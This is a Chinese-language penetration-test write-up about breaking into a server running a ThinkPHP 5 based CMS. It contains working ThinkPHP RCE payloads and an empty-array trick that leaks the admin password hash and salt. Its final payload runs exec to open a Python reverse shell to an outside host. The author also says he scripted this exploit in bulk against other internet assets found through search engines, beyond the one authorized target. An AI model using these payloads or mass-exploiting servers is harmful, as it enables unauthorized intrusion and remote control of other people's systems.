串联脆弱点实现外部打点

前言

前段时间 homie 传给我一个授权项目,希望空了能帮忙看下,拿下目标的过程蛮曲折的,在这里记录一下 心路历程,由于打点时部分图片忘记保存,导致文章可能存在 断层,见谅;

肾透过程

目标是一个 IP 资产,主体服务运行在 80 端口上,由于是 IP 资产,且通过各种渠道无法逆推出其域名后 (很可能压根就没有域名解析到此IP) ,然后就打消掉了子域收集的念头,之后就是一套常规操作,端口扫描,对症下药;

信息收集

1.1.1.1:22	SSH服务	OpenSSH7.4protocol 2.0
1.1.1.1:888	Web服务	Nginx 中间件
1.1.1.1:3306	MySQL服务	MySQL5.7.29-log
1.1.1.1:80	Web服务	Nginx 中间件 反向代理
1.1.1.1:8888	Web服务	Ajenti HTTP Control Panel

22 端口和 3306 端口一般来说没什么好看的,基本无解,主要看一下3个基于 Web服务的端口: 808888888;

探索脆弱点

访问 80 端口重定向到了一个登陆页面,在 http://1.1.1.1/ 后面随便添加一点垃圾数据, 直接爆出了 ThinkPHP 异常页面,目标启用了调试模式 (debug) 泄露了 ThinkPHP 版本号为 5.12,PHP 版本为 7.3,基于 ThinkPHP 框架二开的 CMS ;

检索了一下网络上的信息,发现关于此 CMS 的内容特别少,近乎没有,通过 FOFA、Zoomeye、SuMap、Quake 等网络空间搜索引擎检索目标资产特征,打算先搞到一份 CMS 的源码再进行下一步行动,结果事与愿违,抓下来的资产列表没有一个资产泄露CMS源码;

ThinkPHP 报错泄露了 Web 目录于 Linux 操作系统中的绝对路径: /www/wwwroot/1.1.1.1/,基本信息差不多就这些,ThinkPHP Version <= 5.23 存在一个 RCE ,先朝目标怼了一波 Payload,最后的结果只有这一个 Payload 是可以执行的,原因很简单,有的 Payload 是因为不支持 GET 请求方法,还有的 Payload 无法执行是因为更改了路由,think 路由下的模块及日志文件均无法使用,然后就是目标禁用了N个危险函数Disable_functions 列表如下:

passthru,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv

看到这个列表蛮头疼的,但是发现好在没有禁用掉 assert 以及 file_put_contents 函数,于是尝试构造 Payload Getshell,但还是因为 PHP 版本过高不支持动态调用便无法 Getshell;

POST /

s=file_put_contents('info.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert

当前仅可执行如下 Payload;

POST /

_method=__construct&method=get&filter[]=call_user_func&get[]=phpinfo

由于目前无法通过 TP5 RCE 的途径 Getshell,于是开始尝试审计一下目标的功能点,首先是登录功能,截断一下发起的登录请求,经过测试发现,验证码 可复用,不过我并不打算尝试跑字典,这种方式太过无脑而且动静太大,性价比极低,除非万不得已,否则我一般不会走跑字典这条路子;

POST /user/index/login HTTP/1.1
Host: 1.1.1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:78.0) Gecko/20100101 Firefox/80.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-CA,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Connection: close

username=admin&password=admin&verify=3523

就在这时,我想到了之前和某师傅交流过 ThinkPHP 5.0.X 的一个小 tricks,在目标启用了 debug 模式下并通过敏感功能点传递空数组时可能会引起程序异常从而导致敏感信息泄露;

POST /user/index/login HTTP/1.1
Host: 1.1.1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:78.0) Gecko/20100101 Firefox/80.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-CA,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Connection: close

username=admin&password[]=&verify=5784

成功在 Error Context 栏目中拿到管理员的 Password + Salt 字段;

MD5 解密后顺利登录后台面板,在后台操作的过程中有个功能点与后端产生了数据交互,于是构造一下 空数组 直接异常,看到源码之后,芜湖,原地起飞,就贼离谱,直接把 凭据硬编码 了,任意一个用户拿着这个密码都可以直接登录面板;

后台的功能点蛮多的,但是各个上传点都做了白名单等安全限制,无法 Getshell,蛮遗憾的;

后面由于无法在 80 端口有所突破 ,于是又转到 8888 端口和 888 端口上面,8888 端口的首页是一个宝塔面板的禁止公网访问的提示;

看到宝塔和 888 端口,就想起来前段时间的 phpMyAdmin 面板未授权访问漏洞,于是构造一下路径 http://1.1.1.1:888/pma,尝试访问提示不存在此路径,不巧,看来目标所使用的版本没有此漏洞,想到团队里面有开发宝塔产品的师傅,于是问了一嘴目前有没有宝塔 前台RCE,师傅说目前没有,墙裂建议下个版本可以安排一个团队专享版 RCE (狗头保命);

然后又对 888 端口和 8888 端口跑了一波字典,没有发现什么有价值的端点,而后又转到 80 端口上面来,先对 80 端口跑了一波字典,跑出来个 install 路径,于是打算尝试一下是否可以利用 MySQL 文件读取漏洞 读取目标机的敏感文件,首先判断一下目标程序是否可以对外发起请求,在 VPS 上面使用 nc 监听 3306 端口,然后使用 install 程序连接我的 VPS,发出请求后,VPS 成功接收到了来自目标主机的请求,顿时感觉有戏,于是部署了一下 Rogue MySQL Server,本来以为基本上可以结束掉游戏的时候,却突然发现目标禁用掉了MySQL 读取本地文件的功能;

收尾工作

当我回过头去看 Disable_functions 列表的时候,突然发现目标竟然没有禁用 exec ,之前竟然没有发现,我大意了啊,调试了一下 Payload,直接 RCE,然后写了个脚本批量跑了一下之前收集到的资产列表,收工结束;

POST /

_method=__construct&filter[]=exec&method=get&server[REWQUEST_METHOD]=python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("2.2.2.2",31337));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

END

A.K.A 穿主流装喝骨头汤的斧头帮的楚留香在熬夜写文章

Respect